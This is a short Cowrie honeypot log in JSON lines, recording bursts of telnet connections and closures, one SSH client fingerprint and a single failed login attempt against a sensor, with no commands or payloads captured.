{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":51026,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a9ab6e79d40","protocol":"telnet","message":"New connection: 144.91.112.66:51026 (10.17.0.5:23) [session: 9a9ab6e79d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:07.956048Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43288,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f38cdad6892","protocol":"telnet","message":"New connection: 38.60.198.128:43288 (159.203.135.109:23) [session: 4f38cdad6892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:07.965501Z"}
{"eventid":"cowrie.session.closed","duration":30.693717002868652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:08.066107Z","src_ip":"144.91.112.66","session":"9083f8b55826","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.761675357818604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:08.140734Z","src_ip":"144.91.112.66","session":"5a9dc695f12c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.778334379196167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:08.243813Z","src_ip":"144.91.112.66","session":"8d244797af37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":51968,"dst_ip":"10.17.0.5","dst_port":23,"session":"e614517a17e0","protocol":"telnet","message":"New connection: 144.91.112.66:51968 (10.17.0.5:23) [session: e614517a17e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:08.332382Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":53176,"dst_ip":"10.17.0.5","dst_port":23,"session":"3218a9765f6e","protocol":"telnet","message":"New connection: 144.91.112.66:53176 (10.17.0.5:23) [session: 3218a9765f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:08.772220Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":55366,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cd9b1f7cc48","protocol":"telnet","message":"New connection: 144.91.112.66:55366 (10.17.0.5:23) [session: 9cd9b1f7cc48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:09.598576Z"}
{"eventid":"cowrie.session.closed","duration":31.60235071182251,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:10.862584Z","src_ip":"144.91.112.66","session":"4140a6c9aa69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.175594091415405,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:11.797027Z","src_ip":"144.91.112.66","session":"8f1497f86a2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":34800,"dst_ip":"10.17.0.5","dst_port":23,"session":"d86fb7edf75b","protocol":"telnet","message":"New connection: 144.91.112.66:34800 (10.17.0.5:23) [session: d86fb7edf75b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:12.722361Z"}
{"eventid":"cowrie.session.closed","duration":31.107600927352905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:13.088719Z","src_ip":"144.91.112.66","session":"201a52eae563","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.998764038085938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:13.184443Z","src_ip":"144.91.112.66","session":"08bc13e6d4cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27615761756897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:13.503360Z","src_ip":"144.91.112.66","session":"972f51054e42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":36868,"dst_ip":"10.17.0.5","dst_port":23,"session":"64b05fca56c6","protocol":"telnet","message":"New connection: 144.91.112.66:36868 (10.17.0.5:23) [session: 64b05fca56c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:13.554386Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49066,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fc0c33f24ed","protocol":"telnet","message":"New connection: 38.60.198.128:49066 (159.203.135.109:23) [session: 1fc0c33f24ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:13.606872Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":38280,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd92fa34a748","protocol":"telnet","message":"New connection: 144.91.112.66:38280 (10.17.0.5:23) [session: fd92fa34a748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:14.122270Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":38560,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bbb25e7e045","protocol":"telnet","message":"New connection: 144.91.112.66:38560 (10.17.0.5:23) [session: 9bbb25e7e045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:14.215757Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":39906,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b9f5dd224d4","protocol":"telnet","message":"New connection: 144.91.112.66:39906 (10.17.0.5:23) [session: 8b9f5dd224d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:14.752889Z"}
{"eventid":"cowrie.session.closed","duration":30.288065195083618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:15.087227Z","src_ip":"144.91.112.66","session":"8cbf9231d9cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.17725372314453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:15.100335Z","src_ip":"144.91.112.66","session":"19564b2fa408","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":41326,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b163577d405","protocol":"telnet","message":"New connection: 144.91.112.66:41326 (10.17.0.5:23) [session: 8b163577d405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:15.298348Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":41330,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e097c8334d8","protocol":"telnet","message":"New connection: 144.91.112.66:41330 (10.17.0.5:23) [session: 4e097c8334d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:15.303996Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":41682,"dst_ip":"10.17.0.5","dst_port":23,"session":"b00f258784dc","protocol":"telnet","message":"New connection: 144.91.112.66:41682 (10.17.0.5:23) [session: b00f258784dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:15.459134Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":56574,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3067dfb6b07","protocol":"telnet","message":"New connection: 45.81.23.16:56574 (10.17.0.5:23) [session: d3067dfb6b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:15.520810Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":47844,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0a26041e53a","protocol":"ssh","message":"New connection: 198.98.56.227:47844 (10.17.0.5:22) [session: f0a26041e53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:15.637152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:15.644790Z","src_ip":"198.98.56.227","session":"f0a26041e53a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:16.038182Z","src_ip":"198.98.56.227","session":"f0a26041e53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.24541926383972,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:16.093975Z","src_ip":"144.91.112.66","session":"616cf67f1207","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00185465812683,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:16.108108Z","src_ip":"177.157.238.18","session":"f91ca800a1e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.64211058616638,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:16.161020Z","src_ip":"38.60.198.128","session":"82a77b0d8073","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":56572,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1eff7e5f4e8","protocol":"telnet","message":"New connection: 45.81.23.16:56572 (10.17.0.5:23) [session: f1eff7e5f4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:16.340029Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":38032,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bde9eb86336","protocol":"telnet","message":"New connection: 144.91.112.66:38032 (10.17.0.5:23) [session: 6bde9eb86336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:17.012221Z"}
{"eventid":"cowrie.session.closed","duration":30.625941276550293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:17.060292Z","src_ip":"144.91.112.66","session":"f2a03ed0072d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":46118,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c27581e51dd","protocol":"telnet","message":"New connection: 144.91.112.66:46118 (10.17.0.5:23) [session: 1c27581e51dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:17.253775Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ss1234","message":"login attempt [ubuntu/P@ss1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:17.317153Z","src_ip":"198.98.56.227","session":"f0a26041e53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":47052,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd1492a382bf","protocol":"telnet","message":"New connection: 144.91.112.66:47052 (10.17.0.5:23) [session: cd1492a382bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:17.576636Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":44696,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe4351299011","protocol":"telnet","message":"New connection: 144.91.112.66:44696 (10.17.0.5:23) [session: fe4351299011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:17.722449Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":47952,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d1fde90f38d","protocol":"telnet","message":"New connection: 144.91.112.66:47952 (10.17.0.5:23) [session: 0d1fde90f38d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:17.922787Z"}
{"eventid":"cowrie.session.closed","duration":30.967032194137573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:18.078172Z","src_ip":"144.91.112.66","session":"6b6d48b7a53d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:18.330811Z","src_ip":"198.98.56.227","session":"f0a26041e53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.934512615203857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:18.834407Z","src_ip":"144.91.112.66","session":"a14d5f2e9ba0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":50752,"dst_ip":"10.17.0.5","dst_port":23,"session":"92534bade98f","protocol":"telnet","message":"New connection: 144.91.112.66:50752 (10.17.0.5:23) [session: 92534bade98f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:18.990723Z"}
{"eventid":"cowrie.session.closed","duration":31.096883535385132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:19.118588Z","src_ip":"144.91.112.66","session":"e6999ad1ab55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35422682762146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:19.901770Z","src_ip":"144.91.112.66","session":"e8a1a75f2c5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.966268301010132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:19.947900Z","src_ip":"144.91.112.66","session":"bfc6c33a22d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":53132,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb1877c4bb9c","protocol":"telnet","message":"New connection: 144.91.112.66:53132 (10.17.0.5:23) [session: fb1877c4bb9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:19.990317Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":53146,"dst_ip":"10.17.0.5","dst_port":23,"session":"baafcdad1558","protocol":"telnet","message":"New connection: 144.91.112.66:53146 (10.17.0.5:23) [session: baafcdad1558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:19.994014Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":52426,"dst_ip":"159.203.135.109","dst_port":23,"session":"33d4d1d35ff1","protocol":"telnet","message":"New connection: 192.211.53.160:52426 (159.203.135.109:23) [session: 33d4d1d35ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:20.118329Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":51694,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9fa6ed9c328","protocol":"telnet","message":"New connection: 192.211.53.160:51694 (159.203.135.109:23) [session: f9fa6ed9c328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:20.247469Z"}
{"eventid":"cowrie.session.closed","duration":30.89737582206726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:20.325304Z","src_ip":"144.91.112.66","session":"adcf207d61fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.229023218154907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:20.971171Z","src_ip":"144.91.112.66","session":"f82e4b6986c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55787754058838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:21.330225Z","src_ip":"144.91.112.66","session":"e0db221a3d96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02768301963806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:22.113933Z","src_ip":"144.91.112.66","session":"c2cde95ae8a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.261535167694092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:22.161285Z","src_ip":"144.91.112.66","session":"7b81c808f530","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05894947052002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:23.085820Z","src_ip":"144.91.112.66","session":"a49c08cd3060","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":33440,"dst_ip":"10.17.0.5","dst_port":23,"session":"89d125f082fa","protocol":"telnet","message":"New connection: 144.91.112.66:33440 (10.17.0.5:23) [session: 89d125f082fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:23.275921Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":32808,"dst_ip":"10.17.0.5","dst_port":23,"session":"91bd4d550a90","protocol":"telnet","message":"New connection: 144.91.112.66:32808 (10.17.0.5:23) [session: 91bd4d550a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:24.040966Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38100,"dst_ip":"159.203.135.109","dst_port":23,"session":"85820e195041","protocol":"telnet","message":"New connection: 38.60.198.128:38100 (159.203.135.109:23) [session: 85820e195041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:24.300926Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40548,"dst_ip":"159.203.135.109","dst_port":23,"session":"457a5a1bc043","protocol":"telnet","message":"New connection: 38.60.198.128:40548 (159.203.135.109:23) [session: 457a5a1bc043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:24.773758Z"}
{"eventid":"cowrie.session.closed","duration":41.87800407409668,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:24.930890Z","src_ip":"38.60.198.128","session":"d1269dc88fc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":38456,"dst_ip":"10.17.0.5","dst_port":23,"session":"5da91ee7cf15","protocol":"telnet","message":"New connection: 144.91.112.66:38456 (10.17.0.5:23) [session: 5da91ee7cf15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:25.086737Z"}
{"eventid":"cowrie.session.closed","duration":31.034030199050903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:25.109717Z","src_ip":"144.91.112.66","session":"806171114576","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.49058222770691,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:25.234421Z","src_ip":"38.54.119.93","session":"361bca8085c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.678749561309814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:25.294774Z","src_ip":"144.91.112.66","session":"02b0ff4bac23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39772,"dst_ip":"159.203.135.109","dst_port":23,"session":"87b252d23176","protocol":"telnet","message":"New connection: 38.60.198.128:39772 (159.203.135.109:23) [session: 87b252d23176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:25.345096Z"}
{"eventid":"cowrie.session.closed","duration":31.305655002593994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:25.603923Z","src_ip":"144.91.112.66","session":"39fc484fbc92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":41018,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e0c5e0f5cd1","protocol":"telnet","message":"New connection: 144.91.112.66:41018 (10.17.0.5:23) [session: 2e0c5e0f5cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:26.017961Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":54072,"dst_ip":"159.203.135.109","dst_port":23,"session":"528b3d987d51","protocol":"telnet","message":"New connection: 192.211.53.160:54072 (159.203.135.109:23) [session: 528b3d987d51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:26.022707Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":42724,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b16e0a6bac9","protocol":"telnet","message":"New connection: 144.91.112.66:42724 (10.17.0.5:23) [session: 4b16e0a6bac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:26.536397Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":42978,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f2c9a55c952","protocol":"telnet","message":"New connection: 144.91.112.66:42978 (10.17.0.5:23) [session: 5f2c9a55c952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:26.633615Z"}
{"eventid":"cowrie.session.closed","duration":31.234870433807373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:27.611135Z","src_ip":"144.91.112.66","session":"1a095dbb1dd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45314,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b7b5e870db7","protocol":"telnet","message":"New connection: 38.60.198.128:45314 (159.203.135.109:23) [session: 5b7b5e870db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:27.730963Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":47620,"dst_ip":"10.17.0.5","dst_port":23,"session":"66a35f6c9f35","protocol":"telnet","message":"New connection: 144.91.112.66:47620 (10.17.0.5:23) [session: 66a35f6c9f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:28.425893Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.112.66","src_port":47766,"dst_ip":"10.17.0.5","dst_port":23,"session":"6656a100a4bb","protocol":"telnet","message":"New connection: 144.91.112.66:47766 (10.17.0.5:23) [session: 6656a100a4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:28.459146Z"}
{"eventid":"cowrie.session.closed","duration":14.830625534057617,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:30.351299Z","src_ip":"45.81.23.16","session":"d3067dfb6b07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.027295351028442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:19:30.661348Z","src_ip":"144.91.112.66","session":"1ba72c3f9b67","protocol":"telnet"}
